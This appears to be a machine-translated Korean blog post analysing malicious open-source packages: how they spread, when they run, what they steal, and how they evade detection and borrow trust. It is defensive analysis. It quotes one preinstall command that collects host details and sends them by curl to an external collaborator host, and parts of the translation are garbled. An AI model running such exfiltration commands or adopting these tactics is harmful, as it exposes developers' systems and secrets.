이전 에피소드에서, 오픈 소스 악성 패키지: 문제점우리는 위협 행위자들이 왜 그렇게 행동하는지에 대해 논의했습니다. 새로운 악성 구성 요소를 게시하거나 기존 구성 요소의 최신 버전에 악성 코드를 주입하는 데 열광하는 경우: 오픈 소스 인프라를 통해 누구나 어디서든 임시 계정을 만들 수 있습니다. 컴포넌트 레지스트리(NPM, PyPI, Docker Hub 또는 Visual Studio Marketplace 등) 또는 협업 개발 플랫폼(GitHub 등)에서 사용할 수 있습니다. 비용이 전혀 들지 않으며, 소프트웨어 팀이 전통적으로 타사 컴포넌트에 대해 갖는 높은 신뢰를 활용할 수 있는 많은 기회를 제공합니다.
오픈소스 소프트웨어에 사용 가능한 인프라를 이용해 공격자가 악성코드를 배포하는 것이 얼마나 쉬운지와 소프트웨어를 개발하는 조직(모두?)이 악성코드에 감염되지 않도록 하고, 또한 자신이 배포하는 소프트웨어에 악성코드를 포함시키지 않도록 하는 것이 얼마나 어려운지 사이의 비대칭성 때문에 작년에 악성 패키지 수가 거의 25만 건에 달했습니다.
이 문제는 규모가 너무 커서 어느 한 조직만으로는 해결할 수 없으며, 커뮤니티는 신뢰, 기본적으로 안전한 설계 및 설계 단계부터 안전한 원칙, 그리고 구성 요소의 수명 주기와 관련하여 오픈 소스 프로세스를 재정립하는 과정에 있습니다. 다음 에피소드에서 이러한 아이디어들을 살펴보겠습니다. 오픈소스 악성 패키지로부터 보호하기: 효과가 있는 것과 없는 것.
우리가 이야기하는 것은 대부분 다음과 같은 소프트웨어 구성 요소라는 점을 기억하세요. 소프트웨어 패키지재사용 가능한 구성 요소들을 패키징하여 소프트웨어 매니페스트에서 종속성으로 참조하고 패키지 관리자 또는 빌드 도구를 사용하여 설치할 수 있도록 합니다. 이 경우는 공개된 구성 요소들을 포함하도록 확장될 수 있다는 점에 유의하십시오. 컨테이너 이미지 (컨테이너 런타임 및 Kubernetes와 같은 오케스트레이션 플랫폼에서 사용됨) 소프트웨어 도구의 확장 기능 (빌딩, 자동화 및 배포용)
여기서는 이것이 어떻게 작용하는지 분석합니다. 악성 구성 요소를 기반으로 한 공격 전술 과거 사례와 저희 악성코드 조기경보 플랫폼에서 확인한 바에 따르면, 이는 효과적입니다. (MEW). 우리는 악성 구성 요소를 다양한 차원에서 분석할 것입니다.
(1) 배포를 위해 선택된 방식(새로운 구성 요소 또는 기존 구성 요소에 사용된 레지스트리 및 게시된 구성 요소 버전을 감염시키는 데 사용된 기술), (2) 악성 프로그램이 활성화되거나 트리거되는 방법, (3) 악성 행위, 즉 어떤 유해한 행위가 관찰되고 공격자의 동기가 무엇인지, (4) 난독화, 눈에 띄지 않게 숨기기, 측면 이동, 명령 및 제어(C2) 호스트와의 통신 등에 일반적으로 사용되는 기술, (5) 피해자가 구성 요소를 설치하게 될 만큼 충분한 인기와 신뢰를 얻는 기술.
선택된 유통 메커니즘
우리는 다음과 같은 것을 관찰합니다.배경 소음"타이포스쿼팅(typosquatting)을 이용한 조잡한 악성 패키지들이 있는데, 이는 의존 패키지 이름에 오타가 있는 것을 이용해 부주의한 개발자들을 피싱 공격하는 수법입니다. 많은 인기 패키지들이 비슷한 이름의 오타 패키지들을 대량으로 배포받고 있으며, 이는 일부 부주의한 개발자들을 대상으로 한 피싱 공격으로 이어집니다."
그들은 임시 계정을 사용하여 타이포스쿼트 패키지 그룹을 게시하고, 또 다른 계정을 만들어 또 다른 그룹을 게시합니다. 자동화와 창의력을 발휘하여 어느 정도 정교한 수법을 사용하기도 하지만, 일반적으로는 상당히 단순합니다. 우리는 내부적으로 이러한 행위를 "멸치자격 증명 탈취가 주된 목표이지만, 때때로 스파이웨어가 소스 코드나 개인 식별 정보(PII)와 같은 민감한 데이터를 유출하거나, 클립보드 내용을 캡처하는 등 다른 악의적인 행위를 저지르는 경우도 있습니다.
갑자기 더욱 정교한 악성 구성 요소, 즉 "상어"들이 등장하고 있습니다. 소수의 악성 프로그램은 특정 그룹이나 조직을 표적으로 삼으며, 일반적으로 조건부로 활성화되는 암호화폐 탈취 프로그램이나 웹 스키밍 프로그램을 사용합니다. 이는 아마도 이전에 목격된 방식과 유사할 것입니다. 이벤트 스트림 사건 공격 페이로드를 복호화하는 것은 해당 패키지가 대상 패키지에서 참조될 때만 적용됩니다.
유통 메커니즘은 훌륭하고 이제는 고전이 된 논문에서 분석되었습니다.배신자의 칼 컬렉션: 오픈 소스 소프트웨어 공급망 공격 검토꼭 읽어봐야 할 자료입니다. 이 멋진 도표를 전에 본 적이 있을 겁니다.

새로운 패키지와 기존 패키지를 포함하여 모든 가능성을 탐색했습니다. 소스 코드, 빌드 시스템 또는 패키지 구성 요소 자체에 영향을 미치는 방식, 도난당한 자격 증명이나 소셜 엔지니어링을 사용하는 방식, 방치된 계정 및 저장소를 탈취하거나 관리 중인 저장소를 오염시키는 방식 등이 포함됩니다. 일부 공격에는 이름이 붙여졌습니다.오타 스쿼팅, 의존성 혼란, 명백한 혼란, 레포재킹(등)은 이미 다른 곳에서 논의되었습니다.
선택된 레지스트리는 어떻습니까?
NPM은 여전히 악성 패키지 총 개수에서 선두를 달리고 있지만, 올해 들어 PyPI에서도 악성 패키지 수가 급증하는 추세를 보이고 있습니다. 파이썬은 데이터 과학 및 머신 러닝 분야에서 널리 사용되는 생태계입니다. 실제로 현재 PyPI의 악성 패키지 밀도가 NPM보다 더 높습니다.
악성 소프트웨어가 실행되는 방식
악성 패키지는 설치 중에 실행되는 경우가 10건 중 4건에 불과합니다(최근 몇 년 동안은 10건 중 6건에 가까웠습니다). 나머지는 런타임에 악성 행위를 실행하며, 100건 중 1건은 테스트 실행 중에 실행됩니다. 공격자들은 설치 스크립트의 무단 실행이 여러 곳에서 차단되어 있다는 사실을 알고 있는 것으로 보입니다.
악당들은 무엇을 얻게 되나요?
악성 행위 범주를 가장 흔한 것부터 순서대로 나열하겠습니다. 영향은 상당히 다를 수 있다는 점에 유의하십시오. 와이퍼 이러한 공격은 매우 파괴적이지만 흔하지는 않으며, 표적 사이버 전쟁 캠페인이나 잔혹한 해킹 활동과 관련된 몇몇 사례에서만 관찰되었습니다. 다음 범주들이 비교적 흔합니다.
- InfoStealer / 자격 증명 드레이너가장 빈번하게 발생하는, 정교하지 않은 공격의 90% 이상을 차지하는 것은 주로 비밀번호, 액세스 토큰, API 키, 개인 키(SSH 등)와 같은 자격 증명을 노리는 단순한 스틸러 공격입니다. 아마도 (와이퍼 공격과 함께) 작성하기 가장 쉬운 유형일 것입니다. 이러한 공격은 알려진 파일/디렉토리 및 기타 소스(예: 레지스트리 키)를 열거하고, 내용을 패키징하여 C2 서버로 전송합니다. 아이디어는 간단합니다. "피싱 자격 증명 탈취용 스틸러를 배포하여 나중에 해당 자격 증명을 사용하여 표적 공격을 실행한다."
관찰된 C2 네트워킹은 일반적으로 텔레그램 채널처럼 저렴하고 조잡한 방식입니다. ngrok과 유사한 터널링 도구 (대개 VPN 송신 IP를 통해 노출되는 리버스 프록시 형태입니다.) 수백 가지(!)의 가능성이 있으며, GitHub에는 이와 관련된 많은 프로젝트가 있습니다. 비밀번호 탈취 프로그램 주제키로거와 같은 특수 기능은 악성 패키지나 컨테이너 이미지에서는 드물지만, 사용자 상호 작용이 예상되는 도구 확장 프로그램에서는 더 자주 나타납니다.
- 드롭퍼/다운로더두 번째로 흔한 공격 방식은 다단계 공격에서 일반적으로 첫 번째로 발생합니다. 악성 구성 요소의 3분의 1 이상은 드로퍼(악성 페이로드가 패키지 내에 포함된 경우) 또는 다운로더(공격자가 제어하는 엔드포인트에서 페이로드를 다운로드하는 경우)를 포함합니다. 페이로드는 대개 알려진 바이너리 악성코드 변종이며, 백도어, 스파이웨어, 암호화폐 탈취 프로그램 등을 설치하기 위해 실행되거나 경우에 따라 영구적으로 저장됩니다. 다운로드되거나 배포된 페이로드는 기존 악성코드 바이너리가 제공하는 모든 기능을 활용하여 2단계 공격을 시작합니다. 바이너리는 패키지 내에 배포될 수 있으며, 탐지를 피하기 위해 이미지나 무해해 보이는 파일 형식으로 위장되는 경우가 많습니다. 이를 통해 예상치 못한 사이트에 연결됩니다.
- 암호화폐 도둑/채굴자금전적 이득을 노리는 적들은 암호화폐 채굴 프로그램을 실행하기 위해 여러분의 클라우드 자산을 기꺼이 이용할 것입니다 (심지어 클라우드 VM에서 실행되는지까지 감지합니다). 그들은 여러분의 자산 가치에는 전혀 관심이 없습니다. 낮은 수익률 피해자가 도난당한 클라우드 인프라에 대해 청구한 금액 53달러당 1달러씩 수수료가 부과됩니다. 피해자는 예상치 못한 청구서를 받기 전까지 이 사실을 모를 수도 있습니다. 다행히 이 수수료는 시간이 지나면 사라집니다. Cryptojacking 악성 패키지에 포함된 캠페인은 때때로 나타났다가 사라지는데, 지갑 사용자를 대상으로 피싱 공격을 하거나 결국 지갑 제공업체를 표적으로 삼기도 합니다. 원장 공격.
다른 행동들, 예를 들어 배포하는 것 등이 있습니다. 뒷문 리버스 셸을 열어 원격 코드 실행을 시도하는 경우는 과거에 비해 훨씬 드물어졌습니다. 예를 들어, 123rf_기여자_웹 (현재 레지스트리에서 제거된) 패키지는 아무런 난독화 없이 복사 붙여넣기한 리버스 셸을 엽니다. 리버스 셸 치트 시트:

합법적인 요소와 악의적인 요소 외에도 다음과 같은 여러 가지 악용 사례를 확인했습니다.
스팸 패키지
NPM에 등록된 수천 개의 작은 패키지에는 악성코드는 없지만 손쉬운 수익 창출, 효과 없는 약품 판매, 비아그라 광고 링크 등이 포함되어 있습니다. 일부 사용자는 이러한 스팸을 배포하여 레지스트리 대역폭을 과도하게 사용하고 있습니다. 인도네시아 출신으로 추정되는 또 다른 공격자는 이러한 방식으로 이득을 취하려 했습니다. 티랭크를 악용하다 이는 오픈 소스 개발자에게 보상하기 위한 목적으로 수만 개의 상호 연관된 NPM 패키지와 관련 GitHub 더미 저장소를 생성하는 것입니다. 이는 이용 약관을 명백히 위반하는 행위입니다.
버그 현상금 및 보안 연구 사기
일부 패키지가 버그 바운티 프로그램의 보안 취약점 탐지나 생태계의 특정 측면 연구와 같은 유익한 목적으로 데이터를 유출한다고 설명하는 경우가 있습니다. 이러한 범주에 속하는 패키지를 수천 개 발견했는데, 이들은 PortSwigger를 통해 Burp Collaborator 주소(예: oastify.com 도메인의 호스트)로 식별 정보만 가져오고 민감한 데이터는 수집하지 않습니다. 또한, 이러한 패키지의 복제본이 흔히 발견됩니다. 의존성 혼란 알렉스 비르산의 개념 증명은 다음과 같습니다. 오로라 웹메일 프로 해당 패키지(레지스트리에서 제거됨)는 사전 설치 스크립트에서 악성 코드를 실행합니다.
exec("a=$(hostname; pwd; whoami; echo 'aurora-webmail-pro'; curl http://kmauspo6z5noqllvwu0oj6lqahg84ysn.oastify.com/;) && echo $a | xxd -p | head | while read ut; do curl -k -i -s http://kmauspo6z5noqllvwu0oj6lqahg84ysn.oastify.com/$ut;done") 그리고 또한 "이것은 간단한 의존성 혼동 공격 개념 증명입니다.면책 조항 설명 package.json이는 악의적인 의도가 없더라도 서비스 약관을 명백히 위반하는 행위입니다.
다행스러운 소식이 있습니다. 아직까지 악성 구성 요소를 통한 랜섬웨어 공격은 발견되지 않았습니다. 알 수 없는 이유로 사이버 범죄자들은 이메일 피싱, RDP 기반 공격, 드라이브 바이 다운로드와 같은 보다 전통적인 공격 방식을 선호하는 것으로 보입니다.
관찰된 추가 기술

지속성 확보, 방어 체계 회피, 정보 수집, 지휘통제소와의 통신, 그리고 정보 유출을 위해 다양한 기술이 사용되었습니다.
고집 악성 구성 요소에 침투하는 방법은 2단계 바이너리 악성코드의 지속성 기능을 이용하는 것이지만, 때로는 패키지 코드 자체에 숨어 있기도 하며, 예약된 작업이나 Windows 레지스트리 변경이 가장 흔한 방법입니다.
난처 흔하지만 세련되지 못합니다. 대부분의 타이포스쿼팅 패키지(기억하시죠?)멸치"?"라고 묻는다면, 대부분의 개발자는 난독화를 전혀 사용하지 않습니다. 대부분은 간단한 난독화(base64/16진수 인코딩 또는 rot13과 같은 치환 암호)를 사용하거나, 사용 가능한 코드 난독화 도구와 최소화 도구를 사용하는데, 이는 적절한 도구만 있으면 쉽게 역분석할 수 있습니다. 진정한 하드코어 난독화를 사용하는 개발자는 극히 드물며, 이러한 난독화는 역분석하기 어렵습니다.
난독화는 공격을 숨길 수 있지만, 오픈 소스 구성 요소의 코드가 왜 난독화되어야 할까요? 무언가를 숨겨야 할 필요성이 있다는 증거가 있을까요? 우리는 악의적이지 않은 패키지들이 지적 재산권을 보호하기 위해 난독화를 사용하는 사례를 많이 발견했는데, 이는 "오픈 소스"라는 원칙에 위배됩니다. 난독화는 악성코드의 증거로 사용될 수 있지만, 결정적인 증거는 아닙니다. 또한 난독화된 코드를 복호화하는 것도 어렵습니다.
회피 방어 제어는 간단한 기술을 사용합니다. 악성 코드는 종종 다음과 같은 방식으로 보호됩니다. 시도해 보세요… 잡아보세요 예외를 무시하는 블록이 존재하므로 비정상적인 활동이 로그에 표시되지 않습니다. 특정 조직이나 환경을 대상으로 하는 악성코드가 아닌 이상, 환경 검증(VM 또는 컨테이너에서 실행)은 드뭅니다.
이미지나 PDF 파일에 바이너리 파일을 숨기는 것(일종의 스테가노그래피) 또한 탐지를 피하는 데 사용되는 기술로 확인되었습니다.
가장 흔한 악성 구성 요소는 정보 탈취 프로그램이므로, 데이터 수집 보안은 필수적입니다. 암호, 액세스 토큰, API 키, 암호화 키와 같은 비밀 정보는 로그 파일, 환경 변수, 심지어 클립보드(뱅킹 트로이목마 및 암호화 탈취 악성코드에서 확인됨)에서 일상적으로 스캔됩니다. 소스 코드 유출 또한 흔한데, 패키지 설치가 내부 Git 저장소가 복제되는 개발 환경에서 이루어지는 경우가 많기 때문입니다. 패키지가 Git 저장소를 찾기 위해 디렉터리를 열거하는 사례도 확인되었습니다. .env, private.pem, settings.py, app.js 또는 application.properties와 같은 위치를 찾는 것은 매우 흔한 일입니다.
데이터 유출은 널리 사용되는 또 다른 공격 방식입니다. 악성 패키지 중 소수만이 추출된 데이터의 목적지를 숨기려고 시도합니다. 텔레그램 채널과 응그록과 유사한 터널 자주 사용됩니다. 그리고 종류가 많습니다. 일반적으로 화이트리스트에 등록된 도메인은 데이터 유출에 사용됩니다..
권한 확대나 수평 이동과 같은 다른 기법들은 덜 일반적이었다.
인기와 신뢰도 획득
기술 사기꾼이 이미 만들어 놓은 악성 도구를 가지고 "어떻게 하면 이 쓰레기 같은 도구를 아무것도 모르는 바보들에게 믿을 만하게 만들 수 있을까?"라고 고민하는 모습을 상상해 보세요.
이는 악성 구성 요소의 항목에 별/포크 수(인기도), 버전/이슈 등을 표시하는 방법을 의미합니다. pull requests (활동의 경우) 목표는 가상의 인기(스타)와 팬층을 확보하고, 관련성과 지속 가능성에 대한 설득력 있는 이미지를 구축하는 것입니다.
레지스트리는 GitHub 프로젝트의 내용과 패키지의 내용이 일치하는지 여부를 확인하지 않습니다.이는 소프트웨어 공급망에서 잘 알려진 문제입니다. 공개 레지스트리는 모든 것을 삼켜버리는 거대한 싱크홀과 같습니다. 어떤 저장소든 연결할 수 있습니다.

악성 패키지가 인기 있는 패키지를 도용하는 경우, 간단합니다. 패키지를 생성하고 레지스트리에 게시하는 데 사용되는 종속성 매니페스트에 기존 GitHub 저장소를 참조하기만 하면 됩니다. 가짜 GitHub 저장소에 새 패키지를 등록하려면 더 많은 노력이 필요할 수 있으며, 가짜 저장소를 만드는 등의 방법을 사용할 수 있습니다. 별 관측/포킹 스크립트를 통한 GitHub 계정 관리.
만약 여러분의 패키지 내용이 기존 저장소의 내용과 상당히 유사하다면, 몇 가지 교묘하게 설계된 변경 사항을 슬쩍 끼워 넣으세요. 이렇게 하면 인기 있는 패키지와 비슷하게 생긴 새 패키지에 악성코드를 삽입하고, 기존 패키지의 저장소를 참조하여 오타를 찾아낼 수 있습니다. 누군가 패키지 압축 파일(tarball)의 내용과 GitHub 저장소의 내용을 비교하더라도, 악성코드가 삽입된 부분의 차이점을 쉽게 알아채지 못할 수 있습니다. 우리는 이러한 수법을 이미 수없이 목격해 왔습니다.
구성 요소가 출처, 패키지 제작 방식, 재료 및 제작자에 대한 정보를 위변조 방지 방식으로 표시할 수 있는 메커니즘이 있다면 좋을 것입니다. 하지만 그것은 또 다른 이야기입니다.
구성 요소 X는 악성 소프트웨어입니까?
악성 패키지에 대한 (종합적인) 데이터베이스가 있습니까? 없습니다. 오픈소스 취약점에는 CVE ID가 할당되지만, 악성 패키지 중 일부(특히 언론의 주목을 받는 것들)에만 CVE ID가 부여됩니다. 악성 패키지의 CWE는 다음과 같습니다. CWE-506 (악성 코드가 내장되어 있습니다.)
일반적인 악성코드 탐지 도구(VirusTotal, MalwareBazaar, SOREL-20M 등)는 악성 구성 요소에 대한 별도의 탐지 기능을 제공하지 않습니다. 이러한 기능이 추가된다면 좋을 텐데요!
연구용 샘플 데이터베이스와 분석 데이터 세트가 있습니다(저희도 몇 가지를 사용합니다). 하지만 악성 패키지가 알려졌을 때만 항목이 업데이트되는데, 이는 종종 너무 늦은 경우가 많습니다. 관심 있으시면, OpenSSF 악성 소포 좋은 시작입니다.
다음 글에서는 특정 패키지가 악성인지 확인하는 방법을 알아보겠습니다. 미리 말씀드리자면, 악성 구성 요소가 레지스트리에서 제거되기 전, 노출 초기에 악성 구성 요소를 확인할 수 있는 방법이 있습니다.
추가 읽기
다음 에피소드에서 “오픈소스 악성 패키지로부터 보호하기: 효과가 있는 것과 없는 것" 오픈소스 보안에 대한 주의사항과 권장사항에 대해 논의하겠습니다. 보안에 대한 인식이 있는 전문가들은 대부분 이러한 위협에 대처하는 방법에 대한 직관을 가지고 있지만, 오해도 많습니다.
우리는 이러한 생각들이 왜 잘못되었는지, 그리고 이러한 오해들이 어떻게 이 공격 방식의 인기와 조직들이 겪고 있는 엄청난 위험에 기여하는지 살펴볼 것입니다. 그런 다음, 실제로 효과적인 방법과 그에 필요한 노력 및 자원에 대해 논의할 것입니다.
또한, 악성 패키지의 의도, 주입 메커니즘 및 공격 기법 측면에서의 진화에 대한 내용도 게시할 예정입니다.
계속 지켜봐!
참고자료
- 오픈 소스 악성 패키지: 문제점이 시리즈의 이전 에피소드입니다.
- 배신자의 칼 컬렉션: 오픈 소스 소프트웨어 공급망 공격 검토
- OpenSSF 악성 소포






